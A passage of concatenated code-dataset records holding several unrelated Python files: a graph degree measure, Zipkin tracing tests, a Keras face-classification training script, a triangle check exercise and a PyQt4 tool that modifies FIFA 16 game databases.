graphs, the average in-degree is the average node '+\\\n 'in-degree. The node in-degree of a node is the number of ' +\\\n 'inward edges. Connection weights are ignored in calculations.'\n\n description['out_degree'] = 'In directed graphs, the out-degree of a node is the number of ' +\\\n 'outward edges. Connection weights are ignored in calculations.'\n\n description['avg_out_degree'] = 'In directed graphs, the average out-degree is the average ' +\\\n 'node out-degree. The node out-degree of a node is the number ' +\\\n 'of outward edges. Connection weights are ignored in calculations.'\n\n return description\n\n def compute_measure(graph):\n degree, in_degree, out_degree = MeasureDegree.degree(graph)\n measure_dict = {}\n if graph.is_directed():\n graph.measure_dict[MeasureDegree]['in_degree'] = in_degree\n graph.measure_dict[MeasureDegree]['out_degree'] = out_degree\n graph.measure_dict[MeasureDegree]['avg_in_degree'] = np.mean(in_degree)\n graph.measure_dict[MeasureDegree]['avg_out_degree'] = np.mean(out_degree)\n\n graph.measure_dict[MeasureDegree]['degree'] = degree\n graph.measure_dict[MeasureDegree]['avg_degree'] = np.mean(degree)\n\n def degree(graph):\n A = graph.A.copy()\n np.fill_diagonal(A, 0)\n\n if graph.is_weighted():\n A[A != 0] = 1\n\n in_degree = np.sum(A, 0)\n out_degree = np.sum(A, 1)\n degree = np.add(in_degree, out_degree)\n\n if graph.is_undirected():\n degree = np.multiply(degree, 0.5)\n\n return degree, in_degree, out_degree\n\n def get_valid_graph_types():\n graph_type_measures = {}\n graph_type_measures[GraphBD] = ['degree', 'avg_degree']\n graph_type_measures[GraphBU] = ['degree', 'avg_degree']\n graph_type_measures[GraphWD] = ['degree', 'avg_degree']\n graph_type_measures[GraphWU] = ['degree', 'avg_degree']\n\n for graph_type in graph_type_measures.keys():\n if graph_type.directed:\n graph_type_measures[graph_type].extend(['in_degree', 'out_degree', 'avg_in_degree', 'avg_out_degree'])\n\n return graph_type_measures\n","sub_path":"braphy/graph_measures/measure_degree.py","file_name":"measure_degree.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"42549987","text":"import mock\n\nfrom webtest import TestApp\n\nfrom .app import main\nfrom tests.acceptance import test_helper\n\n\n@mock.patch('pyramid_zipkin.logging_helper.thrift_obj_in_bytes', autospec=True)\ndef test_client_ann_are_logged_as_new_spans(thrift_obj,\n sampled_trace_id_generator):\n settings = {\n 'zipkin.trace_id_generator': sampled_trace_id_generator,\n }\n\n def validate_span(span_obj):\n result_span = test_helper.massage_result_span(span_obj)\n if result_span['name'] == 'v2_client':\n assert 1 != result_span['id'] # id is a new span id\n assert 1 == result_span['parent_id'] # old id becomes parent.\n bar_ann = result_span['annotations'][0]\n assert ('bar_client', 1000000) == (bar_ann['value'],\n bar_ann['timestamp'])\n foo_ann = result_span['annotations'][1]\n assert ('foo_client', 2000000) == (foo_ann['value'],\n foo_ann['timestamp'])\n\n thrift_obj.side_effect = validate_span\n\n TestApp(main({}, **settings)).get('/sample_v2_client', status=200)\n\n assert thrift_obj.call_count == 2\n\n\ndef test_headers_created_for_sampled_child_span(sampled_trace_id_generator):\n settings = {\n 'zipkin.trace_id_generator': sampled_trace_id_generator,\n }\n\n expected = {\n 'X-B3-Flags': '0',\n 'X-B3-ParentSpanId': '1',\n 'X-B3-Sampled': '1',\n 'X-B3-TraceId': '0x0',\n }\n\n headers = TestApp(main({}, **settings)).get('/sample_child_span',\n status=200)\n headers_json = headers.json\n headers_json.pop('X-B3-SpanId') # Randomnly generated - Ignore.\n\n assert expected == headers_json\n\n\ndef test_headers_created_for_unsampled_child_span(default_trace_id_generator):\n settings = {\n 'zipkin.tracing_percent': 0,\n 'zipkin.trace_id_generator': default_trace_id_generator,\n }\n\n expected = {\n 'X-B3-Flags': '0',\n 'X-B3-Sampled': '0',\n 'X-B3-TraceId': '0x42',\n 'X-B3-ParentSpanId': '1',\n }\n\n headers = TestApp(main({}, **settings)).get('/sample_child_span',\n status=200)\n headers_json = headers.json\n headers_json.pop('X-B3-SpanId') # Randomnly generated - Ignore.\n\n assert expected == headers_json\n","sub_path":"tests/acceptance/client_span_test.py","file_name":"client_span_test.py","file_ext":"py","file_size_in_byte":2426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"240825983","text":"from keras.models import Sequential\nfrom keras.layers import Conv2D, MaxPooling2D, Dense, Flatten\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.utils import np_utils\nfrom sklearn.utils import shuffle\nfrom sklearn.model_selection import train_test_split\nfrom keras.optimizers import Adam\nimport os\nimport cv2\nimport numpy as np\n\nnumber_of_epoch = 3\nnumber_of_classes = 152\n\nimg_data_list = []\nlabels_list = []\n\nPATH = os.getcwd()\ndataset = PATH + '/' + 'dataset/DATASET_COLOR/ORIGINAL/TRAIN_RESIZE'\n\nsub_folders = os.listdir(dataset)\n\nlabels_name = {'admars': 0, 'ahodki': 1, 'ajflem': 2, 'ajones': 3, 'ajsega': 4,\n 'akatsi': 5, 'ambarw': 6, 'anpage': 7, 'asamma': 8, 'asewil': 9,\n 'asheal': 10, 'astefa': 11, 'bplyce': 12, 'cchris': 13, 'ccjame': 14,\n 'cferdo': 15, 'cgboyc': 16, 'chaeyoung': 17, 'chipu': 18, 'christian': 19,\n 'cjcarr': 20, 'cjdenn': 21, 'cjsake': 22, 'cmkirk': 23, 'csanch': 24,\n 'cshubb': 25, 'cwang': 26, 'cwchoi': 27, 'dagran': 28, 'dakram': 29,\n 'daniels': 30, 'dcbowe': 31, 'dioann': 32, 'djbirc': 33, 'djhugh': 34,\n 'djmart': 35, 'dmwest': 36, 'doraj': 37, 'drbost': 38, 'ekavaz': 39,\n 'elduns': 40, 'fordj': 41, 'gdhatc': 42, 'ggeorg': 43, 'ggrego': 44,\n 'gjhero': 45, 'gjnorm': 46, 'gmwate': 47, 'godfather': 48, 'gpapaz': 49,\n 'gpsmit': 50, 'gsreas': 51, 'hartb': 52, 'hensm': 53, 'hymanroth': 54,\n 'ieorf': 55, 'irdrew': 56, 'jabins': 57, 'jagrif': 58, 'jcarte': 59,\n 'jdbenm': 60, 'jennie': 61, 'jgloma': 62, 'jiggle': 63, 'jisoo': 64,\n 'jlemon': 65, 'jmedin': 66, 'johncena': 67, 'johnnydeep': 68, 'jrtobi': 69,\n 'kaatki': 70, 'kaknig': 71, 'kdjone': 72, 'khchan': 73, 'khughe': 74,\n 'kingmax': 75, 'kingston': 76, 'kjwith': 77, 'klclar': 78, 'ksunth': 79,\n 'lejnno': 80, 'lfso': 81, 'lisa': 82, 'lyond': 83, 'maasht': 84,\n 'macci': 85, 'martin': 86, 'mberdo': 87, 'mbutle': 88, 'mdpove': 89,\n 'mefait': 90, 'mhwill': 91, 'miaduc': 92, 'michael': 93, 'mjhans': 94,\n 'moors': 95, 'mpetti': 96, 'muthay': 97, 'nahaig': 98, 'namull': 99,\n 'ndbank': 100, 'ndhagu': 101, 'nhrams': 102, 'njmoor': 103, 'npbour': 104,\n 'npmitc': 105, 'nrclar': 106, 'nrrbar': 107, 'nwilli': 108, 'obeidn': 109,\n 'ohpark': 110, 'pacole': 111, 'phughe': 112, 'pmives': 113, 'pshurr': 114,\n 'pspliu': 115, 'ptnich': 116, 'rarobi': 117, 'reypark': 118, 'rgharr': 119,\n 'rgspru': 120, 'rjlabr': 121, 'rlocke': 122, 'rmcoll': 123, 'rmpugh': 124,\n 'rnpwil': 125, 'robin': 126, 'rrowle': 127, 'rsanti': 128, 'saduah': 129,\n 'saedwa': 130, 'sandm': 131, 'sbains': 132, 'sidick': 133, 'sjbeck': 134,\n 'skumar': 135, 'slbirc': 136, 'smrobb': 137, 'spacl': 138, 'spletc': 139,\n 'svkriz': 140, 'swewin': 141, 'swsmit': 142, 'tony': 143, 'tripleh': 144,\n 'undertaker': 145, 'voudcx': 146, 'vpsavo': 147, 'vstros': 148, 'whussa': 149, 'wjalbe': 150, 'yfhsie': 151}\n#\n#\nfor folders in sub_folders:\n img_resize_list = os.listdir(dataset + '/' + folders)\n label = labels_name[folders]\n for img_resize in img_resize_list:\n if img_resize.endswith('.jpg'):\n input_img_resize = cv2.imread(dataset + '/' + folders + '/' + img_resize)\n img_data_list.append(input_img_resize)\n labels_list.append(label)\n#\nimg_data = np.array(img_data_list)\nimg_data = img_data.astype('float32')\nimg_data /= 255\nprint('\\n')\nprint('img data shape')\nprint(img_data.shape)\n# #\nlabels = np.array(labels_list)\nprint('\\n')\nprint('-----> unique')\nprint(np.unique(labels, return_counts=True))\nprint('\\n')\nprint('labels')\nY = np_utils.to_categorical(labels, num_classes=number_of_classes)\nprint(Y)\n# #\nx, y = shuffle(img_data, Y, random_state=2)\nprint('\\n')\nprint('x shuffle')\nprint(x)\nprint('\\n')\nprint('y shuffle')\nprint(y)\n# #\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=2)\nprint('\\n')\nprint('X_train shape')\nprint(X_train.shape)\nprint('\\n')\nprint(X_test.shape)\nprint('\\n')\n# # #\n# \"\"\" Defining the model \"\"\"\ninput_shape = img_data[0].shape\n# print('\\n')\n# print('input shape')\n# print(input_shape)\n# print('\\n')\n\ncnn = Sequential()\n\ncnn.add(Conv2D(32, (3, 3), input_shape=input_shape, activation='relu'))\ncnn.add(MaxPooling2D(pool_size=(2, 2)))\n\ncnn.add(Conv2D(32, (3, 3), activation='relu'))\ncnn.add(MaxPooling2D(pool_size=(2, 2)))\n\n# cnn.add(Conv2D(32, (3, 3), activation='relu'))\n# cnn.add(MaxPooling2D(pool_size=(2, 2)))\n\ncnn.add(Flatten())\n\ncnn.add(Dense(64, activation='relu'))\ncnn.add(Dense(number_of_classes, activation='softmax'))\n\n\"\"\" Compile model \"\"\"\ncnn.compile(loss='categorical_crossentropy', optimizer=Adam(), metrics=['accuracy'])\n\n\"\"\" Training \"\"\"\ncnn.fit(X_train, y_train, batch_size=16, epochs=number_of_epoch, validation_data=(X_test, y_test))\n\n\"\"\" Save model \"\"\"\ncnn.save('model.h5')\n\n","sub_path":"FinalProject/Model/FinalModel/BuildModel.py","file_name":"BuildModel.py","file_ext":"py","file_size_in_byte":5085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"442469922","text":"#Get the first side from the user\nside1 = int(input(\"Enter the shortest side: \"))\n#Get the second side from the user\nside2 = int(input(\"Enter the next shortest side: \"))\n#Get the third side from the user\nside3 = int(input(\"Enter the longest side: \" ))\n\n#Check if the shorter sides' sum exceeds the longer side\nresult = (side1 + side2) >= side3\n#Print the result\nprint(\"'These sides can form a triangle' is\", result)\n","sub_path":"compsci/tri.py","file_name":"tri.py","file_ext":"py","file_size_in_byte":416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"450244447","text":"import codecs\nimport sys\nimport subprocess\nimport time\nimport datetime\nimport math\nimport binascii\nimport os\nimport shutil\nimport random\nimport zipfile\nimport traceback\nimport locale\nfrom PyQt4 import QtGui, QtCore\n\nclass MainWindow(QtGui.QMainWindow):\n global version\n def __init__(self):\n version = \"2.0\"\n QtGui.QMainWindow.__init__(self)\n self.setWindowFlags(QtCore.Qt.Dialog);\n self.setWindowTitle('Gameplayzer')\n widget = QtGui.QWidget(self)\n grid = QtGui.QGridLayout(widget)\n grid.setVerticalSpacing(15)\n grid.setHorizontalSpacing(15)\n ##CSS Style\n css = \"\"\"\n QWidget\n {\n Background:rgba(0,0,0,100%);\n background-image: url(configgm16/backgr.jpg);\n background-size: 100% 100%;\n color:white;\n font:12px bold;\n font-weight:bold;\n border-radius: 1px;\n height: 11px;\n }\n QPushButton{\n Background:rgba(255,255,255,35%);\n color:black;\n font-size:11px;\n border:1px solid black;\n width:100px;\n height:30px;\n }\n QPushButton:hover{\n Background:rgba(255,255,255,80%);\n color:black;\n font-size:11px;\n border:1px solid black;\n width:100px;\n height:30px;\n }\n QPushButton[disabled=disabled], QPushButton:disabled {\n Background:rgba(255,255,255,15%);\n color:grey;\n }\n QTextEdit{\n background: rgba(255,255,255,70%);\n color:black;\n font-size:8px;\n border: 1px solid black;\n }\n QLabel{\n background: rgba(0,0,0,0%);\n }\n QProgressBar{\n color:grey;\n border:1px solid white;\n text-align:center;\n padding:5px;\n }\n\"\"\"\n self.setStyleSheet(css);\n ##WIDGET CREATION\n self.lblGameplayzer = QtGui.QLabel('Gameplayzer for FIFA 16 FULL by Fifaccitiu v:'+version,widget)\n self.btnOpen = QtGui.QPushButton(\"Open database\", widget)\n self.btnOpen.setEnabled(False)\n self.btnOpen.setToolTip(\"Open a FIFA 16 Database to gameplayze it!\")\n self.btnSave = QtGui.QPushButton(\"Save Database\", widget)\n self.btnSave.setEnabled(False)\n self.btnSave.setToolTip(\"Save the gameplayzed database\")\n self.btnOpenMatrix = QtGui.QPushButton(\"Open matrix file\", widget)\n self.btnOpenMatrix.setToolTip(\"Open a matrix CSV file that contain the attributes matrix for every playing style\")\n self.lblLogWindow = QtGui.QLabel('Log Window:',widget)\n self.matrixfilename = \"\";\n self.inputdbfilename = \"\";\n self.outputdbfilename =\"\";\n self.useoldph = False;\n self.connect(self.btnOpen, QtCore.SIGNAL('clicked()'), self.openDB)\n self.connect(self.btnSave, QtCore.SIGNAL('clicked()'), self.saveDB)\n self.connect(self.btnOpenMatrix, QtCore.SIGNAL('clicked()'), self.openmatrix)\n self.textEdit = QtGui.QTextEdit(widget)\n self.textEdit.setReadOnly(True)\n self.lblLogError = QtGui.QLabel('Log Error:',widget)\n self.textEdit2 = QtGui.QTextEdit(widget)\n self.textEdit2.setReadOnly(True)\n self.progressBar = QtGui.QProgressBar(widget)\n self.progressBar.setRange(0, 100)\n self.progressBar.setValue(0)\n self.progressBar.setTextVisible(True)\n ##AGGIUNTA WIDGET##\n grid.addWidget(self.lblGameplayzer,0,0,1,6)\n grid.addWidget(self.btnOpenMatrix,1,0)\n grid.addWidget(self.btnOpen, 1, 1)\n grid.addWidget(self.btnSave, 1, 2)\n grid.addWidget(self.lblLogWindow,2,0)\n grid.addWidget(self.textEdit, 3, 0,7,4)\n grid.addWidget(self.lblLogError,2,4)\n grid.addWidget(self.textEdit2, 3, 4,7,4)\n grid.addWidget(self.progressBar,1,4)\n self.setLayout(grid)\n self.setCentralWidget(widget)\n self.setGeometry(300,300,700,450);\n self.show();\n\n def openmatrix(self):\n fName = QtGui.QFileDialog.getOpenFileName(self, \"Open matrix\", \"\", self.tr(\"FIFA DB Files (*csv)\")) \n if fName.isEmpty() == False:\n self.btnOpen.setEnabled(True)\n self.matrixfilename = fName\n self.textEdit.append(\"Matrix Filename: \"+self.matrixfilename)\n def openDB(self):\n fName = QtGui.QFileDialog.getOpenFileName(self, \"Open database\", \"\", self.tr(\"FIFA DB Files (*db)\")) \n if fName.isEmpty() == False:\n self.btnSave.setEnabled(True)\n self.inputdbfilename = fName\n self.textEdit.append(\"DB Filename: \"+self.inputdbfilename)\n def saveDB(self):\n fName = QtGui.QFileDialog.getSaveFileName(self, \"GAMEPLAYZE!\", \"\", self.tr(\"FIFA DB Files (*db)\")) \n if fName.isEmpty() == False:\n self.btnSave.setEnabled(True)\n self.outputdbfilename = fName #QtCore.QFileInfo(fName).fileName()\n print(str(self.outputdbfilename))\n self.textEdit.append(\"DB Gameplayzed: \"+self.outputdbfilename)\n self.textEdit.append(\"Applying GAMEPLAY, please wait 2-3 minutes...\")\n self.mains(self.matrixfilename,self.inputdbfilename,self.outputdbfilename)\n\n\n def mains(self,matrixfilename,inputdbfilename,outputdbfilename):\n try:\n locale.setlocale(locale.LC_NUMERIC,''); #EVITO I PROBLEMI CON LE VIRGOLE COME SEPARATORI\n shutil.copyfile(str(inputdbfilename),str(outputdbfilename)); #COPIO L INPUT COME BASE PER L OUTPUT\n p=subprocess.Popen(('configgm16\\\\DBEI.exe','-e','configgm16\\\\tempdb',str(inputdbfilename),'configgm16\\\\fifa_ng_db-meta.xml')); #CONVERTO IL DB CON TXT\n QtGui.QApplication.processEvents();\n p.wait();\n QtGui.QApplication.processEvents();\n self.progressBar.setValue(30);\n QtGui.QApplication.processEvents();\n #CHECK IF GAMEPLAYZED\n self.textEdit.append(str(self.useoldph));\n self.textEdit.append(\"EXPORT FROM FIFA DB... done!\");\n #SISTEMO I GIOVANI E I NEWGENS\n #shutil.copyfile('configgm\\\\regenv2.uni','configgm\\\\tempdb\\\\career_regenplayerattributes.txt');\n #shutil.copyfile('configgm\\\\youthv2.uni','configgm\\\\tempdb\\\\career_youthplayerattributes.txt');\n #self.textEdit.append('YOUTH AND REGENS RECALIBRATION.... done!');\n #SISTEMO LE SLIDER\n #shutil.copyfile('configgm\\\\sliderv2.uni','configgm\\\\tempdb\\\\fifaGameSettings.txt');\n #self.textEdit.append('SLIDER SETTING....done!');\n #METTO I NUOVI LIMITI DI POS PER RUOLO\n shutil.copyfile('configgm16\\\\fieldv214.uni','configgm16\\\\tempdb\\\\playerpositionzones.txt');\n shutil.copyfile('configgm16\\\\fieldv214.uni','configgm16\\\\tempdb\\\\fieldpositionboundingboxes.txt');\n self.textEdit.append('NEW POSITION SETTINGS...done!');\n #SISTEMO PER EVITARE IL DISCORSO VIRGOLE\n frmt = self.Aprifile('configgm16\\\\tempdb\\\\playerpositionzones.txt');\n primarigafrmt = self.Columnname(frmt);\n matrixfrmt = self.Rimuovitabs(frmt);\n self.applylocalization(matrixfrmt,\"field\");\n self.Salva('configgm16\\\\tempdb\\\\playerpositionzones.txt',primarigafrmt,matrixfrmt);\n self.Salva('configgm16\\\\tempdb\\\\fieldpositionboundingboxes.txt',primarigafrmt,matrixfrmt);\n #APRO LA MATRICE\n psmatrix = self.Aprifile(str(matrixfilename));\n StMxB = self.Rimuovitabs(psmatrix);\n self.textEdit.append('LOADED PERSONALIZED MATRIX');\n QtGui.QApplication.processEvents();\n self.progressBar.setValue(40);\n giocatori = self.Aprifile('configgm16\\\\tempdb\\\\players.txt');\n primariga = self.Columnname(giocatori);\n matrixgiocatori = self.Rimuovitabs(giocatori);\n #PRENDO GLI STILI PERSONALIZZATI (da ritoccare il modo tale da evitare il casino)\n playst = self.Aprifile('configgm16\\\\playstv2-v.csv');\n primarigaps = self.Columnname(playst);\n matrixplays = self.Rimuovitabsps(playst);\n colps=self.GetPS(StMxB,matrixgiocatori);\n self.progressBar.setValue(43);\n listaid = self.IdExtraction(matrixgiocatori,83);\n colpsnew = self.NewPs(matrixplays,colps,matrixgiocatori);\n self.Gameplayization(StMxB,matrixgiocatori,colpsnew);\n QtGui.QApplication.processEvents();\n self.progressBar.setValue(45);\n self.Salva('configgm16\\\\tempdb\\\\players.txt',primariga,matrixgiocatori);\n self.textEdit.append(\"SAVED PLAYERS TABLE\");\n QtGui.QApplication.processEvents();\n self.progressBar.setValue(50);\n squadre = self.Aprifile('configgm16\\\\tempdb\\\\teams.txt');\n primarigateams = self.Columnname(squadre);\n matrixsquadre = self.Rimuovitabs(squadre);\n self.SqGameplayization(matrixsquadre);\n self.Salva('configgm16\\\\tempdb\\\\teams.txt',primarigateams,matrixsquadre);\n self.textEdit.append(\"TEAM STYLES ADDED!\");\n self.textEdit.append(\"SAVED TEAMS TABLES\");\n QtGui.QApplication.processEvents();\n self.progressBar.setValue(60);\n #arbitri = self.Aprifile('configgm\\\\tempdb\\\\referee.txt');\n #shutil.copyfile('configgm\\\\tempdb\\\\referee.txt','configgm\\\\tempdb\\\\refereesorig.txt');\n #primarigaarbitri = self.Columnname(arbitri);\n #matrixarbitri = self.Rimuovitabs(arbitri);\n #self.RfGameplayization(matrixarbitri);\n #self.Salva('configgm\\\\tempdb\\\\referee.txt',primarigaarbitri,matrixarbitri);\n #self.textEdit.append(\"SAVED REFEREE TABLES\");\n ###TEAM SHEETS###\n teamsheets = self.Aprifile('configgm16\\\\tempdb\\\\default_teamsheets.txt');\n primarigateamsheets = self.Columnname(teamsheets);\n matrixteamsheets = self.Rimuovitabs(teamsheets);\n self.StGameplayization(matrixteamsheets,colps,listaid,StMxB,matrixsquadre);\n self.Salva('configgm16\\\\tempdb\\\\default_teamsheets.txt',primarigateamsheets,matrixteamsheets);\n QtGui.QApplication.processEvents();\n self.progressBar.setValue(63);\n ###DEFAULT TEAMDATA###\n teamdata = self.Aprifile('configgm16\\\\tempdb\\\\defaultteamdata.txt');\n primarigateamdata = self.Columnname(teamdata);\n matrixteamdata = self.Rimuovitabs(teamdata);\n self.SdGameplayization(matrixteamdata,matrixteamsheets,colps,listaid,StMxB,matrixsquadre);\n self.Salva('configgm16\\\\tempdb\\\\defaultteamdata.txt',primarigateamdata,matrixteamdata);\n QtGui.QApplication.processEvents();\n self.progressBar.setValue(65);\n ###FORMATIONS###\n formations = self.Aprifile('configgm16\\\\tempdb\\\\formations.txt');\n primarigaformations = self.Columnname(formations);\n matrixformations = self.Rimuovitabs(formations);\n self.FmGameplayization(matrixformations,matrixteamsheets,colps,listaid,StMxB);\n #self.applylocalization(matrixformations,\"formation\");#new!\n self.Salva('configgm16\\\\tempdb\\\\formations.txt',primarigaformations,matrixformations);\n ###REIMPORTING###\n self.progressBar.setValue(70);\n QtGui.QApplication.processEvents();\n p2=subprocess.Popen(('configgm16\\\\DBEI.exe','-i','configgm16\\\\tempdb',str(outputdbfilename),'configgm16\\\\fifa_ng_db-meta.xml'));\n p2.wait();\n self.textEdit.append(\"REIMPORT...done!\");\n shutil.rmtree('configgm16\\\\tempdb');\n self.progressBar.setValue(100);\n self.msgbox = QtGui.QMessageBox.about(self, \"Completed\", \"Enjoy the new DB gameplayzed!\");\n self.textEdit.append(\"-- ENJOY MY GAMEPLAY \"+version+\" --\");\n except IndexError:\n formatted_lines = traceback.format_exc().splitlines()\n for i in range(0,len(formatted_lines)):\n self.textEdit2.append(str(formatted_lines[i]));\n contarighe = 0;\n contacolonne = 0;\n playerstotal=0;\n gktotal=0;\n gameplayversion=\"6.0 Final\";\n destversion=\" for your patch\";\n version=gameplayversion+destversion;\n\n #Open file\n def Aprifile(self,filei):\n f = codecs.open(filei,'r',encoding='utf-16');\n giocatori = [];\n for line in f:\n line = line.split('\\r\\n');\n giocatori.append(line[0]);\n return giocatori;\n\n def Columnname(self,lista):\n primariga = lista.pop(0);\n return primariga;\n\n def Rimuovitabs(self,lista):\n global contarighe, contacolonne;\n '''tolgo = lista.pop(0);'''\n righe = 1;\n nuovalista=[];\n nlista=[];\n shoetypecode=[];\n for d in lista:\n c = d.split('\\t');\n colonne=len(c);\n nlista.append(c);\n righe = righe+1;\n '''stampami la lista righe x colonna'''\n contarighe = righe;\n contacolonne = colonne;\n return nlista;\n\n def Rimuovitabsps(self,lista):\n global contarigheps, contacolonneps;\n '''tolgo = lista.pop(0);'''\n righe = 1;\n nuovalista=[];\n nlista=[];\n shoetypecode=[];\n for d in lista:\n c = d.split('\\t');\n colonne=len(c);\n nlista.append(c);\n righe = righe+1;\n contarigheps = righe;\n contacolonneps = colonne;\n return nlista;\n\n def Rimuovitabsts(self,lista):\n global contarighets, contacolonnets;\n righe = 1;\n nuovalista=[];\n nlista=[];\n shoetypecode=[];\n for d in lista:\n c = d.split('\\t');\n colonne=len(c);\n nlista.append(c);\n righe = righe+1;\n contarighets = righe;\n contacolonnets = colonne;\n return nlista;\n\n def GetPS(self,StMx,lista): #gli passo le stmx e il players\n WeMx=[[1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],\n [9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9],\n [1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,1,1,1,1,1,1,1,1],\n 